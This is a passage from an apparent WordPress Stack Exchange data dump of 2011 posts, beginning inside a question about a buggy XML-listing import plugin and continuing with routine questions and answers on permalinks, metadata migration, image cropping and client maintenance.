directory&#xA;        closedir($dir);    &#xA;    }&#xA;    else {&#xA;        die('Could not open the folder &quot;'.$folder.'&quot;');&#xA;    }&#xA;    if (count($files) == 0){&#xA;        die('No files where found :-(');&#xA;    }&#xA;    // get an random index:&#xA;    $rand = 0;&#xA;    // check again:&#xA;    if (!isset($files[$rand])){&#xA;        die('Array index was not found! very strange!');&#xA;    }&#xA;    // return the random file:&#xA;    return $folder . $files[$rand];&#xA;}&#xA;&#xA;function count_xml_files() {&#xA;    $directory = dirname( __FILE__ ).&quot;/listings/&quot;;&#xA;        if (glob($directory . &quot;*xml&quot;) != false)&#xA;        {&#xA;             $filecount = count(glob($directory . &quot;*xml&quot;));&#xA;             return $filecount;&#xA;        }&#xA;}&#xA;&#xA;function get_xml() {&#xA;    $path = plugin_dir_path( __FILE__ ).&quot;/listings/&quot;;&#xA;    $xml_file = random_file ( $path, 'xml' );&#xA;    return $xml_file;&#xA;}&#xA;&#xA;function get_post_id () {&#xA;    $new_xml = get_xml();&#xA;    $xml = simplexml_load_file ( $new_xml, &quot;SimpleXMLElement&quot;, LIBXML_NOCDATA );&#xA;        /*take each simplexml element and extract the appropriate data needed for wp_import_post and put it in array with appropriate key=&amp;gt;value pairs for import*/&#xA;        $post_title = implode ( $xml-&amp;gt;xpath('/propertyList/residential/headline'), &quot;&quot;);&#xA;        $postid = $wpdb-&amp;gt;get_var( &quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_title = '&quot; . $post_title . &quot;'&quot; );&#xA;    return $postid;&#xA;}&#xA;&#xA;function build_post() {&#xA;    $new_xml = get_xml();&#xA;    $xml = simplexml_load_file ( $new_xml, &quot;SimpleXMLElement&quot;, LIBXML_NOCDATA );&#xA;        /*take each simplexml element and extract the appropriate data needed for wp_import_post and put it in array with appropriate key=&amp;gt;value pairs for import*/&#xA;        $post_title = implode ( $xml-&amp;gt;xpath('/propertyList/residential/headline'), &quot;&quot;);&#xA;        $post_author = implode ( $xml-&amp;gt;xpath('/propertyList/residential/listingAgent/name'), &quot;&quot;);&#xA;        $post_content = implode ( $xml-&amp;gt;xpath('/propertyList/residential/description'), &quot;&quot;);&#xA;&#xA;        echo $post_title; echo $post_author; echo $post_content;&#xA;&#xA;    $new_post = array(&#xA;         'post_title' =&amp;gt; $post_title,&#xA;         'post_content' =&amp;gt; $post_content,&#xA;         'post_status' =&amp;gt; 'publish',&#xA;         'post_author' =&amp;gt; 1,&#xA;         'post_category' =&amp;gt; array(46)&#xA;    );&#xA;    wp_insert_post ( $new_post );&#xA;    //print_r($new_post);&#xA;}&#xA;&#xA;function build_meta () {&#xA;    global $wpdb;&#xA;    $new_xml = get_xml();&#xA;    $xml = simplexml_load_file ( $new_xml, &quot;SimpleXMLElement&quot;, LIBXML_NOCDATA );&#xA;&#xA;        /*extract the post metadata into variables*/&#xA;        //List Price&#xA;        $list_price = implode ( $xml-&amp;gt;xpath('/propertyList/residential/priceView'), &quot;&quot;);&#xA;        //Address&#xA;        $street_number = implode ( $xml-&amp;gt;xpath('/propertyList/residential/address/streetNumber'), &quot;&quot;);&#xA;        $street_name = implode ( $xml-&amp;gt;xpath('/propertyList/residential/address/street'), &quot;&quot;);&#xA;        $address = $street_number . $street_name;&#xA;        //City&#xA;        $city = implode ( $xml-&amp;gt;xpath('/propertyList/residential/address/suburb'), &quot;&quot;);&#xA;        //State&#xA;        $state = implode ( $xml-&amp;gt;xpath('/&amp;gt;propertyList/residential/address/state'), &quot;&quot;);&#xA;        //Postcode&#xA;        $postcode = implode ( $xml-&amp;gt;xpath('/propertyList/residential/address/postcode'), &quot;&quot;);&#xA;        //MLS #&#xA;        $mls = implode ( $xml-&amp;gt;xpath('/propertyList/residential/uniqueID'), &quot;&quot;);&#xA;        //Square Meters&#xA;        $sq_meters = implode ( $xml-&amp;gt;xpath('/propertyList/residential/buildingDetails/area'), &quot;&quot;);&#xA;        //Bedrooms&#xA;        $bedrooms = implode ( $xml-&amp;gt;xpath('/propertyList/residential/features/bedrooms'), &quot;&quot;);&#xA;        //Bathrooms&#xA;        $bathrooms = implode ( $xml-&amp;gt;xpath('/propertyList/residential/features/bathrooms'), &quot;&quot;);&#xA;        //Featured Image&#xA;        $image = $xml-&amp;gt;xpath('/propertyList/residential/images/img[@id=&quot;m&quot;]');&#xA;            foreach ( $image as $f_image ) :&#xA;                $feature = $f_image [&quot;url&quot;];&#xA;            endforeach;&#xA;        //echo $list_price; echo $address; echo $city; echo $state; echo $postcode; echo $mls; echo $sq_meters; echo $bedrooms; echo $bathrooms; echo $feature;&#xA;        $postid = $wpdb-&amp;gt;get_var( &quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_title = '&quot; . $post_title . &quot;'&quot; );&#xA;            get_post ( $postid );&#xA;            /*if a post was returned, add the metadata values*/&#xA;            if ( $post ) {&#xA;                update_post_meta ( $postid, '_features_1_col1_1', $list_price );&#xA;                update_post_meta ( $postid, '_features_1_col1_2', $address );&#xA;                update_post_meta ( $postid, '_features_1_col1_3', $city  );&#xA;                update_post_meta ( $postid, '_features_1_col1_4', $state );&#xA;                update_post_meta ( $postid, '_features_1_col1_5', $postcode );&#xA;                update_post_meta ( $postid, '_features_1_col2_1', $mls );&#xA;                update_post_meta ( $postid, '_features_1_col2_2',  $sq_meters );&#xA;                update_post_meta ( $postid, '_features_1_col2_3', $bedrooms );&#xA;                update_post_meta ( $postid, '_features_1_col2_4', $bathrooms );&#xA;                update_post_meta ( $postid, '_thumbnail_id', $feature );&#xA;            return null;&#xA;            }&#xA;}&#xA;&#xA;function archive_xml() {&#xA;    $new_xml = get_xml();&#xA;    $old_xml = str_replace(&quot;.xml&quot;, &quot;.old&quot;, $new_xml);&#xA;    rename ( $new_xml, $old_xml );&#xA;}&#xA;&#xA;function run_parser() {&#xA;    /*$directory = plugin_dir_path( __FILE__ ).&quot;/listings/&quot;;&#xA;        if (glob($directory . &quot;*xml&quot;) != false) {&#xA;             $filecount = count(glob($directory . &quot;*xml&quot;));&#xA;             return $filecount;&#xA;        }*/&#xA;    $i = 1;&#xA;    //while ( $i&amp;lt;=$filecount ) :&#xA;        build_post ();&#xA;        build_meta ();&#xA;        //archive_xml();&#xA;        $i++;&#xA;    //endwhile;&#xA;}&#xA;register_activation_hook (__FILE__, 'run_parser');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8159" LastActivityDate="2011-08-25T04:31:31.783" Title="&quot;Unexpected Characters&quot; Error with a Plugin I wrote" Tags="&lt;plugins&gt;&lt;php&gt;&lt;functions&gt;&lt;import&gt;&lt;activation&gt;" />
  <row Id="26843" PostTypeId="2" ParentId="26803" CreationDate="2011-08-25T04:46:43.397" Score="0" ViewCount="" Body="&lt;p&gt;Well this is not how it works, &lt;code&gt;get_users()&lt;/code&gt; has nothing to do with your page's custom meta box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a meta box with names on your page ( as in the default custom fields) then you need to get them using the actual meta box functions, like the following, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_post_meta&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_meta&lt;/a&gt; using &lt;code&gt;$single&lt;/code&gt; parameter set to &lt;code&gt;false&lt;/code&gt; to return an array.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-25T04:46:43.397" CommentCount="3" />
  <row Id="26844" PostTypeId="2" ParentId="26786" CreationDate="2011-08-25T05:09:13.420" Score="1" ViewCount="" Body="&lt;p&gt;I contacted Scribu because his Query Multiple Taxonomies plugin did what I was looking to do and he pointed me in the right direction. I've got this working (in my dev environment) so I think this is it. (Scribu had these split into two functions as part of a class - I'm sure that's the &quot;classy&quot; (pun unintended) way to do it - but this works inline: (Posting here in case it helps anyone else...)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//building this as if we were going to look for&#xA;//posts that have been categorized with this service&#xA;$tempargs = array('post_type' =&amp;gt; 'vendors',&#xA;        'tax_query' =&amp;gt; array(array(&#xA;                    'taxonomy' =&amp;gt; 'service',&#xA;                    'field' =&amp;gt; 'id',&#xA;                    'terms' =&amp;gt; intval($_GET['srv'])&#xA;                ))&#xA;            );&#xA;$args = array_merge( $tempargs, array(&#xA;        'fields' =&amp;gt; 'ids',&#xA;        'nopaging' =&amp;gt; true,&#xA;        'no_found_rows' =&amp;gt; true,&#xA;        'ignore_sticky_post' =&amp;gt; true,&#xA;        'cache_results' =&amp;gt; false,&#xA;) );&#xA;$query = new WP_Query;&#xA;$filtered_ids = $query-&amp;gt;query( $args );&#xA;//now getting the list of location terms that have posts in this service&#xA;$locationsWdups = wp_get_object_terms( $filtered_ids, 'location' ); &#xA;//the above will include duplicate locations so we'll combine them&#xA;//into one array below&#xA;$locations = array();&#xA;foreach ( $locationsWdups as $singloc )&#xA;     $locations[ $singloc-&amp;gt;term_id ] = $singloc;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can do a foreach on $locations...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Please correct me if I've missed something or am doing something incorrectly)&lt;/p&gt;&#xA;" OwnerUserId="8150" LastEditorUserId="8150" LastEditorDisplayName="" LastEditDate="2011-08-25T23:22:56.797" LastActivityDate="2011-08-25T23:22:56.797" CommentCount="1" />
  <row Id="26845" PostTypeId="1" CreationDate="2011-08-25T05:16:05.343" Score="0" ViewCount="15" Body="&lt;p&gt;I migrated my WordPress site to a new site with a new URL. After the migration, all the meta data for my posts, pages and custom page-types is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried two routes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Export EVERYTHING from my old WordPress site to XML. Import the XML to the new site. Everything imports correctly but no meta data. I look in the database at the wp_postmeta table and I don't seem to see any of the meta data that I was expecting to see for the posts/pages/etc. Also, if I look at the exported XML file in a text editor, I can clearly see the post meta data that is supposed to be imported. It's just not importing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I've also tried manually copying over all the files from the old site to the new site and then dumping the old database to .sql file. Then I manually go through the .sql file and make sure the URLs and paths are correct and match up with the new site URL and paths. Then import it to the new database via PhpMyAdmin. With this route, I can look at the wp_postmeta table and see the meta data that should be showing up in my pages and posts. It's there. But it does not show up in the Admin interface.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong here? What is the correct approach. If I can see the meta data in the database but its not showing up in the posts, what should I be looking at to figure out the problem?&lt;/p&gt;&#xA;" OwnerUserId="8160" LastActivityDate="2011-08-25T05:16:05.343" Title="Migrated WordPress to new website, metadata is missing" Tags="&lt;post-meta&gt;&lt;import&gt;&lt;export&gt;" />
  <row Id="26846" PostTypeId="1" AcceptedAnswerId="26853" CreationDate="2011-08-25T05:19:32.073" Score="0" ViewCount="39" Body="&lt;p&gt;I am wondering how most WP freelancers handle general maintenance for their non-technical clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A small to medium sized business may have someone with technical knowledge who can handle upgrades, plugin installs, etc. For a one person shop where they have no experience with WordPress, or any CMS, how do you handle maintenance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that a client may think they can pay for a site and once it's completed, it's all done without understanding that software like WordPress requires security updates and periodic maintenance to ensure everything is running correctly. Basically the things beyond just general use of the system (writing posts, moderating comments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Build in hours for support in the initial proposal?&lt;/li&gt;&#xA;&lt;li&gt;Ignore it, and charge an hourly rate when issues arise?&lt;/li&gt;&#xA;&lt;li&gt;Teach the client how to handle maintenance tasks?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am curious to learn how other freelancers handle this with their clients.&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2011-08-25T14:06:04.270" Title="How to handle support for a non-technical client" Tags="&lt;best-practices&gt;&lt;support&gt;&lt;maintenance&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26847" PostTypeId="2" ParentId="26832" CreationDate="2011-08-25T05:24:09.170" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it theoretically possible to have the following feature?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes theoretically  there are several Geo location API's out there, the reliable ones you have to pay for, such as MaxMind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter part sounds strange, if you want the same content, then just use language files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for some crazy reason you want to serve up different content per country, it would be quite the undertaking, you most likely would want to create your own API or custom page per country, you dont want a billion if statements.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-25T05:24:09.170" CommentCount="1" />
  <row Id="26848" PostTypeId="1" CreationDate="2011-08-25T05:26:23.520" Score="0" ViewCount="10" Body="&lt;p&gt;Any one know how to number images automatically in a gallery using php code in the loop? &#xA;Say if I have a gallery with 10 images, they will be numbered 1 - 10. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your hle&lt;/p&gt;&#xA;" OwnerUserId="752" LastActivityDate="2011-08-25T05:26:23.520" Title="Adding an increasing number to images in a wordpress gallery" Tags="&lt;images&gt;&lt;gallery&gt;&lt;the-loop&gt;" CommentCount="1" />
  <row Id="26849" PostTypeId="1" CreationDate="2011-08-25T06:08:20.830" Score="0" ViewCount="70" Body="&lt;p&gt;I'm trying to add a hack into the gallery shortcode just to rewrite the image urls to s3 instead of &quot;wp-content/uploads&quot;. It seemed simple enough, I just did a str_replace on the $link variable right before it gets output (near the end of the gallery_shortcode function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weird thing that's happening is that it seems to always try to &quot;sanitize&quot; my urls if I add an &quot;http://&quot; into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &quot;http://s3.mydomain.com&quot; becomes &quot;http://mydomain.com/http://s3.mydomain.com&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, it there's no &quot;http://&quot;, then it won't do that. How do I fix this?&lt;/p&gt;&#xA;" OwnerUserId="8161" LastActivityDate="2011-08-29T16:35:43.507" Title="Disable Global Link Replacement?" Tags="&lt;hooks&gt;&lt;gallery&gt;&lt;link&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26851" PostTypeId="1" AcceptedAnswerId="27161" CreationDate="2011-08-25T06:23:47.360" Score="0" ViewCount="30" Body="&lt;p&gt;I'm having a big problem with Permalinks on our Wordpress installation.&#xA;It's currently running Ubuntu 10.4 and when i add a page to the site, there are odd things happening:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;We get infinite loop and &quot;too many redirect&quot; warnings from different browsers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Other links on the site get redirected to the newly created page &#xA;For example, after creating a page with the URL of &quot;/promolanding/&quot; when someone clicks on the link to the &quot;/about-us/&quot; page, it redirects them to &quot;/promolanding/&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This works fine on my CentOS development server and only happens on the Ubuntu server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Permalinks are set to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%year%/%monthnum%/%postname%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the .htaccess file looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever had this issue?  If so, any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4432" LastActivityDate="2011-08-29T05:47:56.433" Title="Permalink issues with Ubuntu Server - Infinite loop &amp; Wrong pages" Tags="&lt;permalinks&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="26852" PostTypeId="2" ParentId="26167" CreationDate="2011-08-25T07:06:10.923" Score="1" ViewCount="" Body="&lt;p&gt;You can check my tutorial for front-end user registration and login in WordPress:&#xA;&lt;a href=&quot;http://www.cozmoslabs.com/1012-wordpress-user-registration-template-and-custom-user-profile-fields/&quot; rel=&quot;nofollow&quot;&gt;http://www.cozmoslabs.com/1012-wordpress-user-registration-template-and-custom-user-profile-fields/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to the wp_signon, wp_insert_user, wp_create_user and wp_update_user they take care of all sanitation and validation of your content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you don't need to use those filters in wp_create_user to create your users.&lt;/p&gt;&#xA;" OwnerUserId="2020" LastActivityDate="2011-08-25T07:06:10.923" />
  <row Id="26853" PostTypeId="2" ParentId="26846" CreationDate="2011-08-25T07:06:33.273" Score="1" ViewCount="" Body="&lt;p&gt;As you have already pointed out there is no right answer to this but here is how I deal with WP sites after they are done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When building a WP site for a client, through the whole process we make them aware of our aftersales support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our support has different levels with the levels giving better SLA's than the last one. The client can purchase so many hours of a programmers time at a rate agreed by both. These hours can roll over but not into next years contract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of our clients purchase 2 hours a month which is ample time to take care of upgrades and testing. As part of the contract we also install monitoring plugins to make sure we are notified of updates that need doing as well as any wrong doing on the site. The user account we hand over is also the Editor account as they have no need for Admin access. This stops the client from playing with things they shouldn't be. However if they want admin access that can be granted but with a warning that if something breaks because of that then they may have to purchase additional hours to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The great thing with a support contract is that you get some regular guaranteed income. Much of the time the hours are not used so you are getting paid for very little work. The client gets an up-to-date website which helps keep it secure. Any additional big project work is more likely to come back to you as you are supporting them rather than coding and leaving them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm part of a company that does this and I know you are looking for a freelancers view but I know a few freelancers that have a similar setup.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-25T07:06:33.273" />
  <row Id="26854" PostTypeId="1" CreationDate="2011-08-25T07:47:15.127" Score="0" ViewCount="21" Body="&lt;p&gt;i'm developing a portfolio theme on WordPress 3.2.1, so i created a new post_type called 'portfolio'. My aim is to show, on the front-end, a grid composed by the jobs i realized during last years. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gris will be filled by portfolio post_type thumbnail (featured image), when any user click on them, system shows (through fancybox) a popup with the large image in it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the HTML code I expect is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a title=&quot;the title&quot; href=&quot;http://path/to/wp-content/uploads/YYYY/MM/screenshot-648x1024.png&quot; rel=&quot;something&quot;&amp;gt;&#xA;&amp;lt;img class=&quot;attachment-portfolio-thumb wp-post-image&quot; width=&quot;214&quot; height=&quot;187&quot; title=&quot;screenshot&quot; alt=&quot;screenshot&quot; src=&quot;http://path/to/wp-content/uploads/YYYY/MM/screenshot-e1314198521926.png&quot;&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is to: upload image from portfolio section (using the button add image), then save and close this section. Then, I move to media library, I open the image to crop it. Next step is to save all media, back to the portfolio section, open the post again and set the cropped image as the featured image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is that &quot;crop&quot; does not work. I've to crop the image twice to have a result, but it does not affect the image all the times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you guys have any experience on that?&#xA;Apart from the php code i use to show the thumbnail, i can't stand by wordpress and crop don't do what i need (please note that I want to crop the image, I do not need the programmatically crop that wordpress offers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="3990" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-08-25T16:56:04.603" LastActivityDate="2011-08-25T16:56:04.603" Title="WordPress image crop probems" Tags="&lt;post-thumbnails&gt;&lt;media-library&gt;&lt;cropping&gt;" AnswerCount="1" />
  <row Id="26855" PostTypeId="1" CreationDate="2011-08-25T08:47:57.090" Score="0" ViewCount="10" Body="&lt;p&gt;I’ve category named “Golf Swing Trainers”, with the slug “golf-swing-trainers”.When I click this category it leads to me to 404 page.&#xA;But if, I change the slug into anything it works fine….&#xA;&lt;a href=&quot;http://performbettergolf.com&quot; rel=&quot;nofollow&quot;&gt;http://performbettergolf.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8163" LastActivityDate="2011-08-25T08:47:57.090" Title="Category archive leads to me 404 page?" Tags="&lt;archive&gt;&lt;404&gt;" />
  <row Id="26856" PostTypeId="2" ParentId="26159" CreationDate="2011-08-25T09:36:34.740" Score="1" ViewCount="" Body="&lt;p&gt;You could use a rewrite rule in your .htaccess file to remove number from the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^number/(.+)$ $1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-08-25T09:36:34.740" />
  <row Id="26857" PostTypeId="2" ParentId="26159" CreationDate="2011-08-25T09:40:34.010" Score="0" ViewCount="" Body="&lt;p&gt;Here's a plugin that will help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/custom-post-permalinks/tags/1.1.4&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/browser/custom-post-permalinks/tags/1.1.4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install it, go to Settings &gt; Permalinks and modify the field corresponding to the CPT.&lt;/p&gt;&#xA;" OwnerUserId="7904" LastEditorUserId="7904" LastEditorDisplayName="" LastEditDate="2011-08-25T19:26:45.433" LastActivityDate="2011-08-25T19:26:45.433" />
  <row Id="26858" PostTypeId="1" AcceptedAnswerId="27356" CreationDate="2011-08-25T09:49:16.880" Score="1" ViewCount="29" Body="&lt;p&gt;I have followed this tutorial &lt;a href=&quot;http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory&quot; rel=&quot;nofollow&quot;&gt;from Wordpress&lt;/a&gt; and managed to get everything to work. I have installed wordpress in a subfolder called /wordpress/. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem that the images I uploaded show the /wordpress/ directory name in the URL. Can that be removed without moving the uploads folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE - SOLVED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixed the problem&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Settings&gt;Media&lt;/li&gt;&#xA;&lt;li&gt;Enter the &quot;Full URL path to files&quot; according to the file structure on you server.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Will post the answer when stackexchange allows me to.&lt;/p&gt;&#xA;" OwnerUserId="5804" LastEditorUserId="5804" LastEditorDisplayName="" LastEditDate="2011-08-25T10:41:26.803" LastActivityDate="2011-08-31T10:21:41.327" Title="Wordpress in a sub directory but not images" Tags="&lt;subdirectories&gt;" AnswerCount="1" />
  <row Id="26859" PostTypeId="2" ParentId="26841" CreationDate="2011-08-25T11:12:13.223" Score="0" ViewCount="" Body="&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;post-list&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;        global $post,$wp_query;&#xA;    $current_id = $wp_query-&amp;gt;get_queried_object_id();&#xA;    $args = array( 'numberposts' =&amp;gt; 7 );&#xA;    $myposts = get_posts( $args );&#xA;        foreach( $myposts as $post ) :  setup_postdata($post); ?&amp;gt;&#xA;            &amp;lt;li&amp;lt;?php if ($current_id == $post-&amp;gt;ID) echo ' class=&quot;current&quot;'; ?&amp;gt;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;   &#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-25T11:12:13.223" />
  <row Id="26860" PostTypeId="1" CreationDate="2011-08-25T11:24:15.090" Score="0" ViewCount="18" Body="&lt;p&gt;How I can show 2 or maybe 3 posts from each category on the index page and on a normal page ?  I need to be able to modify the numer of posts for each category, meaning that on the index for example I will show 2 post from one category, 3 for the next and maybe 2 for the following category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance and sorry for my English&lt;/p&gt;&#xA;" OwnerUserId="8166" LastActivityDate="2011-08-25T11:24:15.090" Title="How I can show only 2 or por post from each category" Tags="&lt;categories&gt;&lt;loop&gt;&lt;custom-loop&gt;&lt;loops&gt;&lt;get-categories&gt;" />
  <row Id="26861" PostTypeId="2" ParentId="26854" CreationDate="2011-08-25T11:27:33.083" Score="1" ViewCount="" Body="&lt;p&gt;You don't need to do manual cropping; just create a custom image size, and WordPress will perform the cropping on image upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. in functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'portfolio-thumbnail', 214, 187, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your portfolio template, inside the Loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail( 'portfolio-thumbnail' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I assume you know how to handle the rest of the output, such as creating the grid layout, and linking each thumbnail image, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: you'll have to regenerate thumbnails for any already-uploaded images.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-25T11:27:33.083" />
  <row Id="26862" PostTypeId="1" CreationDate="2011-08-25T11:38:53.557" Score="0" ViewCount="20" Body="&lt;p&gt;Do you know which plugin was used to expand collapse text like in this page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hilyamedia.com/resources&quot; rel=&quot;nofollow&quot;&gt;http://www.hilyamedia.com/resources&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8167" LastActivityDate="2011-08-25T19:18:50.907" Title="Plugin used to expand - collapse text" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="26863" PostTypeId="2" ParentId="26791" CreationDate="2011-08-25T11:41:43.943" Score="0" ViewCount="" Body="&lt;p&gt;since the site has a white background, a quick workaround could be to save the pngs as jpeg with white background?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this thread mentions a possible solution:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wordpress dot org/support/topic/plugin-nextgen-gallery-problems-with-png-transparency-thumbnails?replies=9&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this has an unpdated solution:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wordpress dot org/support/topic/plugin-nextgen-gallery-png-thumbnails-with-transparancy-problem-1?replies=5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and this thread suggests saving as 24bit png's rather than 8bit&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wordpress dot org/support/topic/nextgen-gallery-transparent-images-showing-black-background-with-resize?replies=8#post-1921440&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;ps cant post all links as dont have enough rep :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if an admin can amend i'd be grateful&lt;/p&gt;&#xA;" OwnerUserId="2323" LastActivityDate="2011-08-25T11:41:43.943" />
